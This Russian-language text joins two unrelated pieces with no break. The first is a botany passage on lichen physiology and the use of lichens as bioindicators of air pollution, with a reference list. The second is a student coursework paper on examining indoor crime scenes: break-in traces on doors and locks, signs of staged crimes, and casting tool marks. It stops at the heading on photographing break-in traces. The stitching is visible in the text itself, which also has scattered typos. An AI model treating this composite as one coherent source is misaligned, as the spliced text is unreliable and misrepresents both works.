На рост лишайников оказывают влияние условия освещенности, температуры, влажности. Эти факторы прежде всего действуют на фотосинтетическую активность. Одним из показателей реакции организма на изменение условий водного и температурного режимов у экологически различных видов является изменение каталазной активности. Активность каталазы лишайников проявляется в диапазоне рН от 5 до 11, а ее оптимум находится при значениях рН 6,5—8,5. Установлено, что каталазная активность лишайников изменяется прямо пропооционально содержанию воды в слоевище.

Теплоустойчивость лишайников весьма различна и зависит от их местообитаний, причем обнаружить ее можно по активности фермента. Этот показатель рекомендуется использовать для экологической характеристики видов.

Химический анализ коры деревьев и снеговой воды, выполненный Л. Н. Мартиным и Е. Нильсоном, показал, что в районе г. Таллина имеет место кислотное загрязнение, а в Кохтла-Ярве — преобладает щелочное. В результате изменения рН коры деревьев установлены значительные различия во встречаемости лишайников и в характере распространения различных видов в этих районах.

Для лишайников характерна адаптация к условиям их произрастания. Например, оптимум температуры для фотосинтеза антарктических лишайников лежит ниже 0 °С, а у лишайников, обитающих на поверхности скал на южных склонах гор в Японии,— выше +20 °С.

С увеличением влажности таллома темновое дыхание и фотосинтез возрастают. Затем темновое дыхание, вплоть до насыщения таллома водой, остается на постоянном уровне, а фотосинтез при дальнейшем увеличении влажности обнаруживает депрессию после достижения максимального поглощения С02, причем повышенная температура вызывает более сильную депрессию фотосинтеза.

Особой чувствительностью обладают лишайники к загрязнению воздуха промышленными отходами, действие которых обратно пропорционально расстоянию от источника загрязнения. Лишайники накапливают тяжелые металлы, содержащиеся в атмосферных осадках в 2—5 раз больше, чем высшие растения, причем эпифитные — интенсивнее, чем напочвенные. При повышенной загрязненности, встречающейся не только в промышленных центрах, но и в зеленых зонах, окружающих города, в ботанических садах, парках и скверах, рост лишайников прекращается и они исчезают. Первыми гибнут кустистые лишайники, за ними листовые, а затем и накипные.

Опыты по выращиванию лишайников в лабораторных условиях в течение 65 дней при различной концентрации S02 (от 0,3 до 300 мг/л) и H2S (10 мг/л), показали, что при последующем их погружении в деионизированную дистиллированную воду на 2 мин они выделили в нее значительно больше электролитов, чем контрольные растения, т. е. обнаружено значительное увеличение проницаемости клеточных мембран для электролитов.

Для выявления тенденций изменения состава атмосферных загрязнений исследовали содержание свинца в образцах лишайников, собранных в период с 1907 по 1980 г. в штате Мэриленд (США). Установлено, что в настоящее время содержание свинца у всех лишайников значительно выше, причем очень сильное влияние на концентрацию свинца оказывают выхлопные газы автомобилей. Наименьшая концентрация свинца обнаружена у лишайника Cladina subtennis, т. е. благодаря особенностям морфологической структуры этот вид способен регулировать аккумуляцию свинца тканями.

Для лишайников характерна различная чувствительность к тяжелым металлам в невысоких количествах. Уже в концентрации 1*10-4 М раствора ZnS04, наблюдается подавление фотосинтеза у Peltigera horizontalis (фикобионт — синезеленая водоросль Nos-toc). У всех видов с синезеленым фикобионтом скорость фотосинтеза уменьшалась в пределах от 11 до 40 % после обработки раствором Zn концентрацией 1 • 10-3 М. В то же время у лишайников с зеленым фикобионтом наблюдалось после такой же обработки только небольшое снижение или даже повышение скорости фотосинтеза. Такая различная чувствительность лишайников не зависит от общей концентрации цинка и других тяжелых металлов, содержащихся в слоевище лишайников. Не отличается высокой чувствительностью и их грибной компонент, так как виды одного рода, имеющие близкие метаболиты, но разные фикобионты, например Lobaria pulmonaria и L. scrobiculata, сильно различаются по чувствительности к тяжелым металлам.

Накопление фторидов у лишайников Cladonia ran-giferina и С. stellaris при максимальном загрязнении атмосферы достигает 2830 мг/кг сухой массы растения, а в контроле — 6,4 мг/кг. Первые же симптомы поражения (обесцвечивание) фторидами обнаруживаются при концентрации 25 мг/кг. У лишайника Xanthoria parietina содержание фтора колеблется от 158 мг/кг массы в 3 км от заводов до 1 мг/кг массы в 22 км от источников загрязнения. Концентрация фтора в талломах зависит от направления преобладающих ветров. Визуальные повреждения лишайников наблюдаются, если концентрация фтора превышает 68 мг/кг массы. Внутриталломные повреждения обнаруживаются при содержании более 90 мг/кг массы. При более высокой концентрации фторидов побеление становится выраженным сильнее, затем появляется коричневый оттенок и весь таллом приобретает коричневый цвет.

Пагубно влияют на лишайники другие атмосферные загрязнители — сероводород, оксиды азота, оксид углерода, соли тяжелых металлов. Многолетнее воздействие промышленных эмиссий приводит к образованию так называемых лишайниковых пустынь. Последние оконтуривают промышленные узлы медно-никелевой и алюминиевой промышленности, занимая территории до 200 км2. В. В. Крючков относит эту территорию к первой зоне с полной деградацией экосистем. Во второй зоне сильно разрушенных экосистем встречаются наименее чувствительные к загрязнению воздуха накипные эпифитные лишайники родов Lecanora, Haematomma и другие, а также некоторые на- земные кустистые лишайники родов Stereocaulon, Cetraria и другие. Эта зона начинается обычно в 4—6 км от промышленных узлов, занимая значительно большие площади, нежели первая (от 450 до 1000 км2). В третьей зоне частично разрушенных экосистем рас- тут все виды накипных лишайников на камнях и деревьях. Напочвенные кустистые лишайники (Cetraria, Cladonia, Stereocaulon) в этой зоне все еще угнетены. Начинают встречаться эпифитные, преимущественно листовые, лишайники родов Hypogymnia, Рагmelia, Parmeliopsis. Площадь этой зоны — до 50000 км2.

Лишайники могут накапливать в своем слоевище определенные вещества в довольно большом количестве. Подобная особенность известна и для других организмов, например высших растений, но количество токсических веществ в лишайниках гораздо лучше коррелирует с таковым в атмосфере, чем, например, в изучавшихся в этом плане свекле или кукурузе. Установлено, что летальная доза сернистого ангидрида для лишайиков составляет примерно 0,03 мг/м3 воздуха.

При исследовании влияния водных растворов сульфитов, сульфатов, нитритов и нитратов на культивируемые фикобионты найдено, что при рН4 нитраты и сульфаты не оказывают токсического действия, но вызывают четкие видоспецифические реакции у растений. У одних видов растений характер реакций фикобионта аналогичен реакции интактного таллома лишайника, у других — наблюдается меньшая чувствительность или, наоборот, меньшая толерантность фикобионта к загрязнителю.

Получены данные, свидетельствующие о том, что загрязнение атмосферы двуокисью серы способствует разрушению фонда хлорофиллов в лишайниках и изменению сотношения хлорофиллов а и b у лишайников в естественных условиях произрастания. Названные параметры состояния пигментной системы могут служить тестами для установления степени загрязнения среды.

При улучшении чистоты воздуха вследствие закрытия промышленных производств или переведения их на работу по замкнутому циклу (т. е. с использованием отходов) наступает вторичная иммиграция основных эпифитных лишайников, которые заселяют разнообразные субстраты. Происходит это лишь через 4—6 лет после прекращения загрязнения воздуха и видимо, связано с окончательным исчезновением загрязнителей из субстратов.

Под влиянием загрязнения воздуха наряду с нарушением физиологии развития лишайников происходит заметное изменение морфологии таллома. На участках с большой нагрузкой загрязнения становится очевидным, что нарушается не жизнеспособность отдельных партнеров лишайника, а их способность организовывать таллом. Особенно чувствительны края таллома. Для каждого лишайника имеется определенное значение нагрузки, при котором таллом нормально развивается. При увеличении загрязнения воздуха сложное и взаимное равновесие партнеров в талломе нарушается, так что только части лишайника, а не организованный таллом могут существовать дальше.

Эта особенность лишайников — их чрезмерная чувствительность к загрязнению атмосферы — в настоящее время уже находит применение для определения зон воздействия промышленных выбросов и, как следствие, для создания новой технологии производства, основанных на замкнутом цикле и активизации работ по охране природы. В Швейцарии, например, выделяют зоны чистоты воздуха по частоте встречаемости, степени покрытия и устойчивости лишайников к данному типу загрязненности. В США установлен национальный стандарт качества окружающего воздуха с 3 классами территорий по этому показателю. Этот законодательный акт принят с учетом результатов проведенных лихенологических исследований, показавших значительное ухудшение состояния окружающей среды, Лишайники используются как биологические индикаторы загрязнения и во Франции; на карты наносят результаты загрязнений в виде концентрических зон вокруг источников загрязнения. В условиях города этот метод хотя и не всегда дает удовлетворительные результаты, но позволяет делать важные фитоценотические обобщения. Наиболее результативным выходом таких исследований загрязнения атмосферного воздуха являются различного типа лихеноиндикационные картосхемы.

С помощью лишайников можно проследить, насколько поддерживается контроль за загрязнением, если проводить повторные исследования в тех же местах через определенные промежутки времени.

Вследствие большой кумулятивной способности лишайники, накапливая токсические вещества, обнаруживают морфологические изменения, которые легко заметить. В последнее время широкое распространение получил метод инфракрасной фотографии для оценки состояния лишайников. Разработаны также лабораторные методы по оттоку калия и уменьшению скорости фотосинтеза.

Большое значение имеет изучение загрязнения лишайников радионуклидами, в частности радиоактивным цезием и стронцием. Кроме того, лишайники часто применяют для изучения распространения и накопления редкоземельных элементов, а также для мониторинга загрязнения более чем 30 различными элементами.

Степень повреждаемости лишайников промышленными отходами с большой точностью определяется с помощью флюоресцентной микроскопии. Так, для водорослевых клеток лишайника Hypogymnia physodes, инкубированных в растворах сульфитов в лабораторных условиях, или для растений, трансплантированных в естественные местообитания с различным уровнем загрязнения атмосферы, характерна следующая флюоресценция. У неповрежденных клеток — красная при освещении ультрафиолетовыми лучами или синим светом. У поврежденных клеток последовательно меняются коричневая, оранжевая и белая — в зависимое ти от степени повреждения. Метод флюоресценции позволяет быстро, с высокой чувствительностью и на малом количестве материала определить степень повреждения клеток.

Действие S02 на лишайники можно учитывать также по проценту плазмолизированных водорослевых клеток. У ряда лишайников степень влияния загрязненности воздуха сернистым ангидридом можно учитывать по двум параметрам, а именно — по степени плазмолиза водорослевых клеток и по проценту площади клеток гиф, пораженных бактериями.

Электронно-микроскопические исследования позволили установить происходящие под воздействием промышленных отходов, в частности SО2 и соединений азота, определенные изменения в клетках фикобионта и микобионта. В клетках водоросли хлоропласти изменяют форму с дисковидной на округлую, у них значительно уменьшается количество цитоплазмы и появляются темные тельца внутри вакуолей. У поврежденных клеток микобионта отмечается ненормально сильная вакуолизация, капли цитоплазмы значительно уменьшаются или совсем отсутствуют. Грибные вакуоли часто содержат темные скопления, которые не встречаются у неповрежденных лишайников.

У лишайников, подвергшихся комплексному воздействию поллютантов SО2, NOx, NH4, F, происходит быстрая дегенерация клеточных органелл фико- и микобионтов в результате плазмолиза клеток, хронического нарушения формы хлоропластов, сморщивания митохондрий, увеличения плотности водорослевых клеток, возрастания вакуолизации и появления темных вакуолярных скоплений в клетках микобионтов.

Внешние факторы обусловливают и морфологические вариации лишайников, особенно кустистых, проявляющихся в форме роста, степени беловатого налета оксалата кальция, числе водорослевых клеток на единицу сухой массы слоевища, толщине стенок гиф и в других признаках.

Действие озона на лишайники зависит от их видовых особенностей. Так, при озоновом стрессе у Pseudoparmelia caperata наступает подавление фотосинтеза, а у Ramalina manziesii ингибирование фотосинтеза отсутствовало. Повышенная концентрация озона в естественных условиях обитания является причиной малого распространения некоторых лишайников.

Литература

1. Курс низших растений/Под ред. М. В. Горленко. — М., 1981

2. Биохимия/Н. Е. Кучеренко, Ю. Д. Бабенюк, А. Н. Васильев и др. — К., 1988

3. Полевой В. В. Физиология растений. — М., 1999

4. Шапиро И. А. Нитратредуктазная активность лишайника Lobaria pulmonaria. – М., 2001

Курсовая работа: Осмотр места происшествия в помещении

СОДЕРЖАНИЕ

ВВЕДЕНИЕ

1. Понятие, сущность и задачи осмотра места происшествия

2. Тактические особенности осмотра места происшествия в помещении

2.1 Первоначальные действия на месте происшествия

2.2 Подготовка к осмотру места происшествия в помещении

2.3 Осмотр и описание следов отжима и взлома двери, замка и оконных рам

2.4 Осмотр и описание следов проникновения в помещение путем подбора ключа или отмычки

2.5 Осмотр и описание следов пролома, разруба и распиливания преград

2.6 Осмотр помещения

2.7 Осмотр окружающей территории

2.8 Признаки инсценировки преступления

2.9 Изъятие следов

2.10 Изготовление копий со следов орудий взлома и инструментов

2.11 Фотографирование следов взлома

2.12 Фиксация обнаруженных следов в протоколе осмотра места происшествия в помещении

2.13 Выдвижение следственных версий по результатам осмотра места происшествия в помещении

2.14 Неотложные мероприятия по розыску преступников

ЗАКЛЮЧЕНИЕ

СПИСОК ИСПОЛЬЗОВАННОЙ ЛИТЕРАТУРЫ

ПРИЛОЖЕНИЯ

ВВЕДЕНИЕ

Осмотр места происшествия имеет большое значение в деле надлежащего расследования преступлений среди различных следственных действий. В процессуально — тактическом и психологическом отношениях осмотр места происшествия является сложным следственным действием. Существующие пробелы приводят к нарушениям различного рода, ошибкам при ее проведении, что, не проходит бесследно для общего результата следствия по конкретному уголовному делу.

Результаты осмотра места происшествия в помещении имеют подчас если не решающее, то, несомненно, существенное значение. Они помогают выбору той единственной версии в массе иных, следуя которой удается выяснить действительные обстоятельства дела, а также способствуют устранению существенных противоречий в показаниях допрошенных ранее лиц. В сущности, осмотр места происшествия в помещении направлен на установление истины по делу.

Все вышеизложенное свидетельствует об актуальности темы данной курсовой работы. От уровня ее теоретической разработки во многом зависит практические результаты, что определяет ее теоретическое и практические значение.

В данной курсовой работе поставлена следующая задача: дать определение осмотру места происшествия, осветить вопросы, связанные с подготовкой к его проведению, раскрыть тактические основы осмотра места происшествия в помещении.

1. Понятие, сущность и задачи осмотра места происшествия

Среди всех видов следственного осмотра наибольшее значение имеет осмотр места происшествия, так как ключ к раскрытию преступления чаще всего находится там. Место происшествия – это мир людей, вещей, отношений, уникальное хранилище самой разнообразной материально фиксированной информации. Информацию несут объекты (их вид, состояние, взаимоположение и т.д.), которые здесь находились до преступления и остались нетронутыми во время происшествия. Информативны появившиеся на месте происшествия предметы, следы, которые отсутствовали до происшествия. Столь же информативно отсутствие каких-либо элементов материальной среды, которые должны были находится в этом месте, не случись преступление. Поэтому осмотр места происшествия, являясь самым сложным и трудоемким видом следственного осмотра, имеет огромное значение для расследования преступления. Неквалифицированное и небрежное проведение этого следственного действия обычно приводит к невосполнимым утратам следов и вещественных доказательств, так как компенсировать пробелы, допущенные при первоначальном осмотре, путем повторного осмотра, как правило, уже не удается.

В разные годы отдельные авторы давали неодинаковые определения осмотра места происшествия. Более точно, думается, отражает суть данного следственного действия определение, данное профессором Санкт-Петербургского университета И.Ф.Крыловым: «Осмотр места происшествия – это процессуальное действие, состоящее в непосредственном исследовании управомоченными лицами обстановки места происшествия и отдельных его объектов для обнаружения и закрепления фактических данных, имеющих значение доказательств, позволяющих установить в возможных пределах наличие или отсутствие признаков состава преступления в исследуемом событии, а также для построения и проверки версий и выявления причин и обстоятельств, способствующих совершению преступления»1.

Необходимо различать два различных понятия: «место происшествия» и «место преступления». Место происшествия – это помещение или участок местности, в пределах которого обнаружены следы совершенного преступления. Само преступление при этом могло быть совершено и в ином месте. Место преступления – это помещение или участок территории, где непосредственно было совершено преступление, хотя следы этого преступления могут быть обнаружены и в ином месте или в нескольких местах. В ряде случаев место происшествия и место преступления совпадают. В начале расследования следователь, как правило, еще точно не знает, где было совершено преступление, т.е. является ли данное место происшествия местом преступления или нет.

Задачи осмотра места происшествия можно разделить на общие и частные. Общей задачей осмотра места происшествия является получение процессуально закрепленной информации (фактических данных) об обстоятельствах происшедшего события, объектах и лицах, имеющих к нему отношение, их связях и взаимодействиях. В процессе осмотра могут решаться и частные задачи:

а) выяснение возможных очевидцев и свидетелей (например, кто, судя по расположению места происшествия, мог наблюдать или слышать происходящее);

б) какие следы могли остаться на участвовавших в происшедшем событии лицах и использовавших ими орудиях и транспортных средствах;

в) какие образцы почвы, растительности необходимо в связи с этим изъять для установления в последующем связи объектов или лиц (Приложение 1).

Исходя из вышеизложенного, можно сделать вывод о том, что решение общих частных задач осмотра места происшествия способствует реализации требований уголовно-процессуального кодекса, т.е. позволяет:

а) установить, носило ли происшедшее событие преступный характер;

б) выяснить, при каких обстоятельствах оно происходило (время, место, способ, характер причиненного ущерба и другие обстоятельства);

в) выявить виновных лиц и мотивы их действий;

г) получить данные о причинах преступления и условиях, способствовавших его совершению.

2. Тактические особенности осмотра места происшествия в помещении

В ходе осмотра места происшествия в помещении должны выясняться следующие вопросы:

1) каким способом преступник проник в помещение и как покинул его;

2) какие орудия применялись для проникновения в помещение;

3) сведения о преступниках: количество, пол, возраст, наличие профессиональных навыков;

4) если в помещении была совершена кража, то выяснить вид и количество похищенного, а также имеются ли данные, указывающие на то, что преступник знал о наличии и местах хранения похищенных им вещей;

5) нет ли негативных обстоятельств, свидетельствующих о возможной инсценировке преступления;

7) время совершения преступления.

2.1 Первоначальные действия на месте происшествия

По прибытии на место происшествия:

производится опрос лиц, находящихся на месте происшествия (потерпевшего, очевидцев, сотрудников предприятия, учреждения или организации), с целью получения сведений, необходимых для определения последовательности и характера его действий, а также для проведения неотложных оперативно-розыскных мероприятий, направленных на выявление свидетелей, преследование по горячим следам преступника, решается вопрос об использовании служебно-розыскной собаки;

выясняется, не внесены ли изменения в обстановку места происшествия с момента выявления преступления, и если внесены, то какие именно, кем и с какой целью;

даются задания сотрудникам органа дознания о проведении оперативно-розыскных мероприятий;

вызываются на место происшествия ответственный квартиросъемщик или взрослые члены его семьи, а если преступление совершено в помещении предприятия, учреждения или организации — представители вышестоящей организации, которым поручается проведение инвентаризации товарно-материальных ценностей;

принимаются меры к обеспечению сохранности имущества (товарно-материальных ценностей) во время осмотра и до начала инвентаризации или до прибытия ответственного квартиросъемщика либо взрослых членов его семьи;

ответственного квартиросъемщика или материально ответственного лица, хорошо знающего обстановку осматриваемого жилища, помещения или хранилища, предпочтительно допросить самому следователю, а затем привлечь его к участию в осмотре, за исключением тех случаев, когда имеются данные, что такое участие может повредить полноте, всесторонности и объективности осмотра;

определяется, каким способом (концентрическим или эксцентрическим) следует производить осмотр. При выборе способа нужно учитывать, что оставленные преступниками следы обуви, транспортных средств, а также брошенные или утерянные ими предметы, в том числе и орудия преступления, находящиеся вне помещения, в котором было совершено преступление, могут быть уничтожены во время осмотра. Поэтому в тех случаях, когда на подходе к помещению, в котором было совершено преступление, обнаружены предметы, которые могут оказаться вещественными доказательствами, и следы, возможно, образовавшиеся в результате совершения преступления, целесообразно применить концентрический способ осмотра. Если в ходе общего осмотра установлено, что оставленные преступниками следы и предметы сосредоточены в помещении, то предпочтение следует отдать эксцентрическому способу.

2.2 Подготовка к осмотру места происшествия в помещении

Получив сообщение о преступлении со взломом следователь:

уточняет у дежурного по органу внутренних дел, кто из сотрудников милиции находится на месте происшествия, какие приняты меры по охране места происшествия, и дает дежурному необходимые указания;

решает вопрос о том, кто должен принимать участие в осмотре места происшествия (оперативные работники, эксперт, инспектор-кинолог со служебно-розыскной собакой, понятые и др.), обеспечивает с помощью дежурного их прибытие к месту происшествия;

проверяет наличие технических средств обнаружения, фиксации и изъятия следов орудийного взлома;

принимает меры к обеспечению участия переводчика, если есть сведения о том, что преступление совершено в помещении, в котором работают или проживают лица, не владеющие языком, на котором ведется предварительное следствие. Нужно иметь в виду, что осмотр помещения, занимаемого лицами, обладающими правом дипломатической неприкосновенности, может быть произведен лишь по их просьбе или с их согласия, которое испрашивается через Министерство иностранных дел РФ.

Необходимо дать указания по сохранению в неизменном виде места происшествия и находящихся там предметов. При неблагоприятных погодных условиях и наличии следов в помещении, надо обеспечить их сохранность путем закрытия любыми бытовыми предметами, но избегая их повреждения.

При всех обстоятельствах «узловые» моменты осмотра места происшествия в помещении — установление мест проникновения и отхода преступников. Это позволяет: 1) определить границы осмотра собственно места исполнения объективной стороны состава преступления; 2) сосредоточить внимание и сконцентрировать усилия на поисках основной массы следов в отмеченных местах; 3) сориентироваться относительно направлений прибытия и отхода преступников, где также можно обнаружить дополнительные следы и вещественные доказательства (оставленные вещи, окурки, бутылки из-под спиртного, следы обуви, пальцевые отпечатки и т.д.).

2.3 Осмотр и описание следов отжима и взлома двери, замка и оконных рам

Признаки отжима или взлома двери — наличие следов, образовавшихся в ходе применения орудий взлома и дергания двери. В частности, о взломе путем отжима двери свидетельствуют объемные следы в виде оттисков орудий взлома на внутренней поверхности дверной коробки и на торцевой части дверного полотна, а также следы скольжения, возникшие на этих деталях в результате просовывания между ними орудий взлома.

Объемные следы, сохраняющие форму и некоторые индивидуальные признаки орудия взлома, а также динамические следы в виде трасс, образуемые выступающими частями орудия взлома, возникают и при открывании оконных рам в процессе отжима.

О взломе путем дергания двери свидетельствуют: отделение накладного (прирезного) замка от двери; погнутость запорной планки или дверной накладки; ригеля замка.

В результате применения различного рода приспособлений с целью отвода ригеля замка в нерабочее положение на передней стенке замка, на запорной планке вокруг гнезда для головки ригеля и на самой головки ригеля обычно остаются следы в виде полос и, царапин.

Если для проникновения в помещение выбивалась дверь, то на ее поверхности можно выявить объемные следы орудия, которым наносились удары (кувалды, топора и т.п.).

При выбивании двери ударами частей тела на ней можно обнаружить микроволокна одежды преступника, следы его обуви. Возможно наличие пальцевого отпечатка на кнопке звонка, так как иногда преступники проверяют присутствие в квартире проживающих.

Если нет явных следов взлома, следует тщательно осмотреть дверную коробку с целью обнаружения возможных следов применения домкрата или иного приспособления для раздвигания дверной коробки. Признаком применения таких приспособлений служит также нарушение угловых соединений деталей дверной коробки.

Если способ проникновения в помещение — вырывание или перепиливание дверной накладки, пробоя либо дужки навесного замка, то перечисленные детали и предметы осматриваются для определения использовавшегося инструмента. Как правило, при вырывании дверной накладки, пробоя и дужки замка применяются ломики и монтировки, в результате чего на косяке двери вокруг пробоя или на дверном полотне возле дверной накладки образуются вмятины, а непосредственно на пробое или на дверной накладке — царапины и следы соскоба металла.

Об определенном способе взлома замка свидетельствуют следующие признаки:

о вырывании дужки замка — сломанная ось, крепящая дужку в коробе, сломанная, погнутая головка ригеля, погнутая дужка;

о перепиливании дужки как ножовкой, так и напильником — металлические опилки, след отлома у края среза;

о перепиливании дужки напильником — ровная скошенная поверхность среза;

о перепиливании дужки ножовкой — ступенчатость поверхности среза; царапины на поверхности дужки около среза;

о перерезании дужки ножницами по металлу — клиновидный срез дужки, бороздка и валики на срезе;

о разрушении короба замка — расхождение, деформированность стенок короба, трещины в коробе цилиндрового замка; спиленные головки заклепок, отверстия, высверленные в коробке цилиндрового замка против шпилек.

При обнаружении на месте происшествия орудий взлома они внимательно осматриваются, проводятся мероприятия по обнаружению имеющихся на них отпечатков пальцев рук, возможно также изъятие с
них знаковых следов. Устанавливается их функциональное назначение, размеры, наличие заводских клейм, каких-либо надписей, отличительных признаков, наслоений посторонних веществ. Предметы фотографируются и изымаются.

2.4 Осмотр и описание следов проникновения в помещение путем подбора ключа или отмычки

На проникновение в помещение путем подбора ключа или отпирание замка с помощью отмычки указывают, во-первых, царапины, небольшие вмятины и следы соскоба металла около скважины для ключа, а во-вторых, повреждения отдельных частей замка (ключевого упора, пружины и др.).

Не следует предпринимать попытки отпирать или запирать замок обнаруженными на месте происшествия ключами, отмычками и другими приспособлениями, так как при этом могут быть уничтожены или повреждены следы, оставленные подбиравшимися ключами либо отмычкой, а также может быть изменено соотношение деталей механизма замка и тем самым осложнится проведение трасологической экспертизы.

2.5 Осмотр и описание следов пролома, разруба и распиливания преград

В случае проникновения в помещение путем пролома, разруба и распиливания дверей, стен, пола и потолка для определения вида примененного инструмента следует изучить и зафиксировать в протоколе осмотра места происшествия:

следы пролома (разруба), которые чаще всего остаются на неразрушенной части преграды и представляют собой плоские участки с отображением индивидуальных признаков режущей кромки лезвия топора, лома, стамески или долота в виде чередующихся валиков и бороздок;

профиль канавки распила и ее стенок, на которых отображаются следы в виде уступов, вызванных разводом зубьев пилы или их смещением. Размещение этих уступов, а также следы от заклепок рукоятки пилы и других выступающих ее частей на поврежденной преграде могут указать направление распила;

оставшиеся на неразрушенной преграде и на отдельных ее фрагментах следы в виде краски, ржавчины, жировой смазки, мела и других веществ, отслоившихся от орудия взлома.

Если взлому деревянных стен или дверей предшествовало просверливание отверстий, после чего промежутки между ними распиливались или разрубались топором, стамеской или долотом, то исследуются сквозные отверстия и оставшиеся стружки, по которым можно судить о типе и размерах сверла. По данной части следа несквозного отверстия, где, как правило, хорошо отображаются индивидуальные особенности режущих кромок, возможно провести идентификацию использованного для взлома сверла.

2.6 Осмотр помещения

Прежде всего, необходимо смоделировать примерное поведение преступников на месте происшествия, предположить те или иные предметы, с которыми они могли манипулировать. Исходя из этого необходимо:

Провести с помощью специалиста поиск отпечатков пальцев рук, в том числе на месте проникновения в жилище, на внутренней поверхности двери, на взломанных замках.

Осуществить в местах вероятно плотного контакта с объектами осмотра поиск микроследов, в частности микроволокон. При совершении преступления в помещении преступники перемещаются по помещению, оставляя микроследы обуви на половиках, дорожках, коврах и т.п. Они соприкасаются своей одеждой с мягкой мебелью, иногда примеривают и бросают предметы одежды, сидят на креслах, стульях и диванах, порой даже распивают спиртные напитки, находясь в помещении длительное время. Такое поведение преступников неизбежно порождает обилие микроследов, которые следует отыскивать и изымать. Подлежат изъятию в ряде случаев на предмет проверки на наличие микроследов предметы, с которыми предположительно плотно контактировал преступник. Если это нельзя сделать в силу громоздкости или ценности вещи, то необходимо изымать микроследы с поверхности данных вещей.

При обнаружении в помещении или жилище следов пальцев рук целесообразно сразу же после окончания осмотра на основании ст. 186 УПК взять образцы отпечатков пальцев у лиц, проживающих в жилище, находившихся в нем в последнее время, иногда образцы следует брать и у оперативных работников, первыми прибывших на место происшествия, если есть данные о том, что они контактировали с теми предметами, на которых были обнаружены следы. Промедление с получением образцов может в дальнейшем существенно осложнить расследование. При обнаружении отпечатков пальцев нельзя ограничиваться априорной констатацией об их непригодности для идентификации, это возможно только в процессе последующего экспертного исследования. Аксиомой для следователя должно быть — изъятию подлежат все без исключения обнаруженные следы. Нередко следователями, недооцениваются имеющиеся современные методы исследования следов. В частности, если отпечатки пальцев рук непригодны для идентификации по папиллярным узорам, то можно использовать «пороскопический» метод исследования или установить групповую принадлежность крови по потожировому веществу.

Постараться обнаружить оставленные преступниками на месте происшествия какие-либо предметы (окурки, обгорелые спички, личные вещи и др.), которые несут самую разнообразную информацию: на личных вещах могут находиться следы пота, волосы, специфические микрочастицы, наркотические и психотропные вещества, метки прачечных и химчисток, документы, записки, ключи и другие предметы; на окурках — следы слюны, губ, характерные следы курения, помады.

Немаловажное значение имеет отыскание следователем «улик поведения», т.е. таких следов и вещественных доказательств, которые умышленно оставлены на месте происшествия в целях ввести следствие в заблуждение относительно истинных обстоятельств исследуемого события, увести следователя на ложный путь. Обычно это такие улики, которые явно бросаются в глаза, порой наличие их на месте происшествия выглядит явным абсурдом. К примеру, оставление на месте преступления личных документов, в действительности принадлежащих другим лицам.

Учитывая, что преступления с проникновением в помещение чаще всего происходят в ограниченном пространстве, нельзя сбрасывать со счетов и запаховые следы преступника, которые неизбежно являются устойчивыми на протяжении относительно длительного времени. Заборы проб запаховых следов осуществляются согласно рекомендациям.

Если в помещении что-то похищено, следует попытаться создать аналоги похищенного. Для этой цели следует сфотографировать подобные предметы, если таковые имеются, изъять оставшиеся товарные паспорта, сервисные книжки, чеки, просмотреть семейные альбомы, где, возможно, имеются фотографии похищенных предметов, с помощью специалиста-художника или самостоятельно зарисовать со слов потерпевших внешний вид похищенных ювелирных изделий. Эта информация позволяет в дальнейшем обеспечить большую степень эффективности оперативно-розыскных мероприятий по установлению как лиц, совершивших кражу, так и по розыску похищенного имущества.

2.7 Осмотр окружающей территории

Может привести к обнаружению следов, имеющих важное значение для дела. В многоквартирном доме необходимо осмотреть лестничную клетку; чердаки, через которые преступники покинули место происшествия и могли оставить следы обуви, курения, выбросить орудия взлома, бросить свои вещи, переодевшись. При попадании в жилище путем спуска с крыши на ней могут остаться следы обуви как поверхностные, так и объемные на размягченном битуме, следы слюны, обрывки веревок с узлами. В сельской местности на окружающей дом территории, особенно на грунтовых дорогах и тропинках, можно выявить следы транспортных средств, обуви, брошенные орудия преступления, вещи. Направление движения преступников позволит провести оперативные мероприятия по их задержанию.

2.8 Признаки инсценировки преступления

При осмотре места взлома и проникновения в помещение могут быть установлены следующие признаки инсценировки преступления:

следы пролома, разруба и сверления расположены на внутренней поверхности разрушенной преграды, а образовавшиеся при этом щепки и стружки, а также основная часть фрагментов разрушенной преграды — снаружи помещения;

большая часть металлических и древесных опилок, образовавшихся в результате распиливания решетки или деревянной стены, находятся снаружи;

расположение уступов на стенках канавки распила указывает на то, что распиливание осуществлялось изнутри помещения,

наличие на концах выдернутого пробоя следов соскоба металла, подтверждающих его предварительное отгибание.

Указанные признаки свидетельствуют об инсценировке преступления при условии, что преступник не мог заблаговременно проникнуть в помещение, а затем провести взлом изнутри;

в помещении у места взлома отсутствуют следы, которые неизбежно должны были образоваться в случае проникновения преступника снаружи;

размеры пролома меньше нужных габаритов;

«продуманный беспорядок» в помещении либо излишний беспорядок, не соответствующий логике поведения преступника.

Следует иметь в виду, что преступником могла быть искусственно создана обстановка, указывающая на признаки инсценировки (например, умышленное удаление опилок, образовавшихся в результате перепиливания дужки замка, что наводит на размышление о совершении этих действий в ином месте и т.п.).

2.9 Изъятие следов

Следы орудий взлома и инструментов желательно изъять с предметами-носителями. Для этого следует выпилить (отпилить) соответствующие части решетки, стены, пола или потолка и изъять фрагменты разрушенной преграды, на которых сохранились следы орудий взлома и инструментов.

Необходимо также собрать материальные частицы, образовавшиеся в результате взлома (кусочки древесины, штукатурки со следами орудий взлома в виде кусочков лакокрасочных покрытий и жировой смазки и т.п.).

2.10 Изготовление копий со следов орудий взлома и инструментов

Если следы орудий взлома и инструментов невозможно изъять вместе с предметом или его частью, то с них необходимо сделать слепки. С этой целью могут быть использованы пластилин, силиконовые пасты (компаунды) «К-18», «У-4-21».

В тех случаях, когда следы на металле имеют значительную глубину (следы сверления), компаунд вводится в них с помощью ветеринарного шприца с толстой иглой. Заполнять слепое отверстие следует медленно, чтобы на дне не образовались воздушные пузырьки. После полимеризации компаунда готовый слепок благодаря эластичности полимера легко извлекается из следа с помощью заблаговременно вставленного в слепок металлического крючка.

Слепок со следа на дереве с разволокненной структурой извлекается путем постепенного скола частиц древесины. При этом нужно соблюдать особую осторожность во время отделения волокон дерева от слепка в его донной части, где отображаются индивидуальные особенности сверла.

Поверхностные следы, образованные за счет отслоения или наслоения порошкообразных веществ, изымаются путем их переноса на дактилоскопические пленки необходимого формата. Светлые частицы веществ переносят на темные пленки, темные — на светлые или прозрачные пленки.

Частицы веществ (опилки, краска и т.п.), а также кусочки древесины со следами орудий взлома (стружки, щепки), найденные на месте взлома, должны быть изъяты и упакованы в отдельные коробочки или пластмассовые стаканчики, на которых делается надпись с указанием, где, когда и при каких обстоятельствах были обнаружены находящиеся в них вещества.

2.11 Фотографирование следов взлома

